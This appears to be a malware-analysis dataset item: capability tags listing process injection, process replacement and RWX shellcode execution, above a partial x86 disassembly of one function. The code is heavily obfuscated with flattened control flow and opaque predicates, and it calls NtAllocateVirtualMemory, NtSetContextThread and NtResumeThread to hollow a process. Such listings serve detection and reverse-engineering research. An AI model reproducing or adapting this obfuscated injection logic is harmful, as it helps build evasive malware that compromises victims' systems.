Function at 0x10007d40
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x164
mov eax, dword [0x1006f004]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x16c], 0x90813bf5
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x170], eax
sub eax, 0x8158914f
je 0x1000bf11
jmp 0x10007d7c
mov eax, dword [ebp - 0x170]
sub eax, 0x81c5eeff
je 0x1000f134
jmp 0x10007d92
mov eax, dword [ebp - 0x170]
sub eax, 0x81db14ec
je 0x1000a763
jmp 0x10007da8
mov eax, dword [ebp - 0x170]
sub eax, 0x820ec820
je 0x1000e9f3
jmp 0x10007dbe
mov eax, dword [ebp - 0x170]
sub eax, 0x825c0c7d
je 0x1000de4d
jmp 0x10007dd4
mov eax, dword [ebp - 0x170]
sub eax, 0x83167fc3
je 0x1000f873
jmp 0x10007dea
mov eax, dword [ebp - 0x170]
sub eax, 0x85f44f06
je 0x1000fce6
jmp 0x10007e00
mov eax, dword [ebp - 0x170]
sub eax, 0x86810d2b
je 0x1000d00f
jmp 0x10007e16
mov eax, dword [ebp - 0x170]
sub eax, 0x86b73d8e
je 0x1000e72b
jmp 0x10007e2c
mov eax, dword [ebp - 0x170]
sub eax, 0x87ba1595
je 0x10010182
jmp 0x10007e42
mov eax, dword [ebp - 0x170]
sub eax, 0x883a9c92
je 0x1000cbe8
jmp 0x10007e58
mov eax, dword [ebp - 0x170]
sub eax, 0x88ed11df
je 0x1000b4d5
jmp 0x10007e6e
mov eax, dword [ebp - 0x170]
sub eax, 0x8933e872
je 0x1000df96
jmp 0x10007e84
mov eax, dword [ebp - 0x170]
sub eax, 0x894a2228
je 0x1000fafb
jmp 0x10007e9a
mov eax, dword [ebp - 0x170]
sub eax, 0x89e55cbb
je 0x1000bbb7
jmp 0x10007eb0
mov eax, dword [ebp - 0x170]
sub eax, 0x8b7bdd53
je 0x1000d255
jmp 0x10007ec6
mov eax, dword [ebp - 0x170]
sub eax, 0x8c8fddc5
je 0x1000c9de
jmp 0x10007edc
mov eax, dword [ebp - 0x170]
sub eax, 0x8dbc29fd
je 0x1000cbd9
jmp 0x10007ef2
mov eax, dword [ebp - 0x170]
sub eax, 0x8e1a1b76
je 0x1000ee95
jmp 0x10007f08
mov eax, dword [ebp - 0x170]
sub eax, 0x8e712159
je 0x1000faec
jmp 0x10007f1e
mov eax, dword [ebp - 0x170]
sub eax, 0x8f9ca31f
je 0x1000be0d
jmp 0x10007f34
mov eax, dword [ebp - 0x170]
sub eax, 0x9023af39
je 0x10009f91
jmp 0x10007f4a
mov eax, dword [ebp - 0x170]
sub eax, 0x90813bf5
je 0x10009c2f
jmp 0x10007f60
mov eax, dword [ebp - 0x170]
sub eax, 0x9091019a
je 0x1000f91f
jmp 0x10007f76
mov eax, dword [ebp - 0x170]
sub eax, 0x91635f67
je 0x1000e801
jmp 0x10007f8c
mov eax, dword [ebp - 0x170]
sub eax, 0x91ec3103
je 0x1000cc53
jmp 0x10007fa2
mov eax, dword [ebp - 0x170]
sub eax, 0x9284d299
je 0x1000fe51
jmp 0x10007fb8
mov eax, dword [ebp - 0x170]
sub eax, 0x932cdef0
je 0x1000bf20
jmp 0x10007fce
mov eax, dword [ebp - 0x170]
sub eax, 0x940741cf
je 0x1000e642
jmp 0x10007fe4
mov eax, dword [ebp - 0x170]
sub eax, 0x94b28e62
je 0x1001006d
jmp 0x10007ffa
mov eax, dword [ebp - 0x170]
sub eax, 0x94becf94
je 0x1000edc7
jmp 0x10008010
mov eax, dword [ebp - 0x170]
sub eax, 0x950351cf
je 0x1000da74
jmp 0x10008026
mov eax, dword [ebp - 0x170]
sub eax, 0x95f59ca6
je 0x1000ad2a
jmp 0x1000803c
mov eax, dword [ebp - 0x170]
sub eax, 0x9620d719
je 0x1000a6bd
jmp 0x10008052
mov eax, dword [ebp - 0x170]
sub eax, 0x9902c130
je 0x1000cad1
jmp 0x10008068
mov eax, dword [ebp - 0x170]
sub eax, 0x991c662b
je 0x1001004f
jmp 0x1000807e
mov eax, dword [ebp - 0x170]
sub eax, 0x9920fa1e
je 0x1000cf12
jmp 0x10008094
mov eax, dword [ebp - 0x170]
sub eax, 0x9b234a77
je 0x1000b305
jmp 0x100080aa
mov eax, dword [ebp - 0x170]
sub eax, 0x9e1906c7
je 0x1000aa06
jmp 0x100080c0
mov eax, dword [ebp - 0x170]
sub eax, 0x9e6b001f
je 0x1000fa08
jmp 0x100080d6
mov eax, dword [ebp - 0x170]
sub eax, 0x9e8f014f
je 0x1000b19d
jmp 0x100080ec
mov eax, dword [ebp - 0x170]
sub eax, 0x9f9e3e31
je 0x1000ed0b
jmp 0x10008102
mov eax, dword [ebp - 0x170]
sub eax, 0xa2258209
je 0x1000a3b0
jmp 0x10008118
mov eax, dword [ebp - 0x170]
sub eax, 0xa3ae1abb
je 0x1000f0f6
jmp 0x1000812e
mov eax, dword [ebp - 0x170]
sub eax, 0xa3d79a6a
je 0x1000dc89
jmp 0x10008144
mov eax, dword [ebp - 0x170]
sub eax, 0xa6945698
je 0x1000ec4f
jmp 0x1000815a
mov eax, dword [ebp - 0x170]
sub eax, 0xa71ece98
je 0x1000a4f8
jmp 0x10008170
mov eax, dword [ebp - 0x170]
sub eax, 0xa75fe070
je 0x1000f882
jmp 0x10008186
mov eax, dword [ebp - 0x170]
sub eax, 0xa7f9dc2f
je 0x1000dbef
jmp 0x1000819c
mov eax, dword [ebp - 0x170]
sub eax, 0xa8d2ffbd
je 0x1000b8a9
jmp 0x100081b2
mov eax, dword [ebp - 0x170]
sub eax, 0xaaa3a0f1
je 0x1000a2eb
jmp 0x100081c8
mov eax, dword [ebp - 0x170]
sub eax, 0xab152f49
je 0x1000aa91
jmp 0x100081de
mov eax, dword [ebp - 0x170]
sub eax, 0xab985d74
je 0x1000eb81
jmp 0x100081f4
mov eax, dword [ebp - 0x170]
sub eax, 0xac221f91
je 0x1000feb1
jmp 0x1000820a
mov eax, dword [ebp - 0x170]
sub eax, 0xacf98437
je 0x1000ec88
jmp 0x10008220
mov eax, dword [ebp - 0x170]
sub eax, 0xad80c48f
je 0x1000ba3b
jmp 0x10008236
mov eax, dword [ebp - 0x170]
sub eax, 0xae690cea
je 0x1000fabd
jmp 0x1000824c
mov eax, dword [ebp - 0x170]
sub eax, 0xaf9563b0
je 0x1000bde6
jmp 0x10008262
mov eax, dword [ebp - 0x170]
sub eax, 0xb1481cc1
je 0x1000debb
jmp 0x10008278
mov eax, dword [ebp - 0x170]
sub eax, 0xb1ac3cc0
je 0x1000bd80
jmp 0x1000828e
mov eax, dword [ebp - 0x170]
sub eax, 0xb4acf13b
je 0x1000a116
jmp 0x100082a4
mov eax, dword [ebp - 0x170]
sub eax, 0xb56e0209
je 0x1000af4f
jmp 0x100082ba
mov eax, dword [ebp - 0x170]
sub eax, 0xb67f64d6
je 0x1000b1cd
jmp 0x100082d0
mov eax, dword [ebp - 0x170]
sub eax, 0xb7814d5d
je 0x1000b467
jmp 0x100082e6
mov eax, dword [ebp - 0x170]
sub eax, 0xb7958a14
je 0x1000fe7e
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
mov edx, eax
sub edx, 0xcca4d258
sub edx, 1
add edx, 0xcca4d258
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe5136c0f
mov ecx, 0xba94c9c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf5d85bf2
mov ecx, 0xbf3eca01
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov dl, byte [ebp - 0xed]
mov eax, 0x2f3ba331
mov ecx, 0x6d80797f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
mov edx, eax
sub edx, 0xa208e90
sub edx, 1
add edx, 0xa208e90
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9e6b001f
mov ecx, 0xb88d0742
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov dword [ebp - 0x16c], 0x4b8b2f23
jmp 0x10010203
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
mov edx, eax
add edx, 0x2025e6aa
sub edx, 1
sub edx, 0x2025e6aa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbd39511d
mov ecx, 0x1a848d80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd8], eax
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
sub edx, 0x7e2e94e1
sub edx, 1
add edx, 0x7e2e94e1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbbda6d56
mov ecx, 0x81db14ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
sub edx, 0xce1cb2e6
sub edx, 1
add edx, 0xce1cb2e6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf52fce20
mov ecx, 0x5a287b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [ebp - 0xd4]
cmp dword [eax + 0x70], 0
setne al
and al, 1
mov byte [ebp - 0xcf], al
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
add edx, 0xcce757ca
sub edx, 1
sub edx, 0xcce757ca
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf8c08db
mov ecx, 0xab152f49
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov dword [ebp - 0x16c], 0x2fd0acda
jmp 0x10010203
mov dword [ebp - 0x16c], 0xd29711a9
jmp 0x10010203
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa3ae1abb
mov ecx, 0x588fcf2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov dword [ebp - 0x16c], 0x62fd7a16
jmp 0x10010203
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x894a2228
mov ecx, 0x5f54ba09
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [ebp - 0x158]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x140]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov edx, dword [ebp - 0x138]
mov eax, 0x29383ed4
mov ecx, 0x659f6364
cmp dword [edx], 0
cmovge eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe7f298d2
mov ecx, 0x88ed11df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe7f298d2
mov ecx, 0x6b3de6a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov dl, byte [ebp - 0xb9]
mov eax, 0xaf9563b0
mov ecx, 0x6852ba55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4e6067b4
mov ecx, 0x6cdb6a6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
mov edx, eax
add edx, 0x9f50bfe9
sub edx, 1
sub edx, 0x9f50bfe9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4e6067b4
mov ecx, 0xbdfbd8de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x87e6b98
mov ecx, 0x68254bce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x16c], 0x8f9ca31f
jmp 0x10010203
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
add edx, 0x2117efd1
sub edx, 1
sub edx, 0x2117efd1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2410528
mov ecx, 0xd05f424b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov dword [ebp - 0x16c], 0x932cdef0
jmp 0x10010203
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x168]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x9d], al
mov dword [ebp - 0x16c], 0x77fbc8f6
jmp 0x10010203
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
sub edx, 0x9fd5fa9e
sub edx, 1
add edx, 0x9fd5fa9e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe84ac8e1
mov ecx, 0x5af5884d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9284d299
mov ecx, 0xb85702b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov dword [ebp - 0x16c], 0x883a9c92
jmp 0x10010203
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x16c], 0x581c88d0
jmp 0x10010203
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
mov edx, eax
add edx, 0xff633def
sub edx, 1
sub edx, 0xff633def
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd3275ce2
mov ecx, 0xeaf97757
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [ebp - 0x13c]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x71], al
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
sub edx, 0xfac0f75e
sub edx, 1
add edx, 0xfac0f75e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb7958a14
mov ecx, 0xfd4c924b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf51de38c
mov ecx, 0x1a7bcc3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
sub edx, 0xf2b5fe40
sub edx, 1
add edx, 0xf2b5fe40
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xac221f91
mov ecx, 0xbdce9cff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
sub edx, 0x36271a8d
sub edx, 1
add edx, 0x36271a8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x63c45983
mov ecx, 0x1a27f245
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x791756d3
mov ecx, 0xf9b72872
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov dword [ebp - 0x16c], 0x4e578bc0
jmp 0x10010203
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x65543ed9
mov ecx, 0xb1481cc1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
sub eax, 0x81590e2
add eax, ecx
add eax, 0x81590e2
mov dword [ebp - 0x40], eax
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x65543ed9
mov ecx, 0x37dcb108
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov dword [ebp - 0x16c], 0x324df0da
jmp 0x10010203
mov dword [ebp - 0x16c], 0xd6337921
jmp 0x10010203
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
sub edx, 0x6ffef0c5
sub edx, 1
add edx, 0x6ffef0c5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5c9e9003
mov ecx, 0x6723512f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov dl, byte [ebp - 0x21]
mov eax, 0x3e681641
mov ecx, 0x3a2d3d34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
mov edx, eax
sub edx, 0x2b4df2e7
sub edx, 1
add edx, 0x2b4df2e7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf9e18e3c
mov ecx, 0xb8fd1188
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x158]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x158]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
sub edx, 0x3ab1586a
sub edx, 1
add edx, 0x3ab1586a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfe6e51e5
mov ecx, 0xa6945698
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov dword [ebp - 0x16c], 0x5c17f815
jmp 0x10010203
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x16c], 0x698cf88c
jmp 0x10010203
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
add edx, 0x4c1cc2fd
sub edx, 1
sub edx, 0x4c1cc2fd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x991c662b
mov ecx, 0x423daa45
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x176e2806
mov ecx, 0xce0a0b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
sub edx, 0x3e72bd51
sub edx, 1
add edx, 0x3e72bd51
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x94b28e62
mov ecx, 0xe00a7a5f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x158]
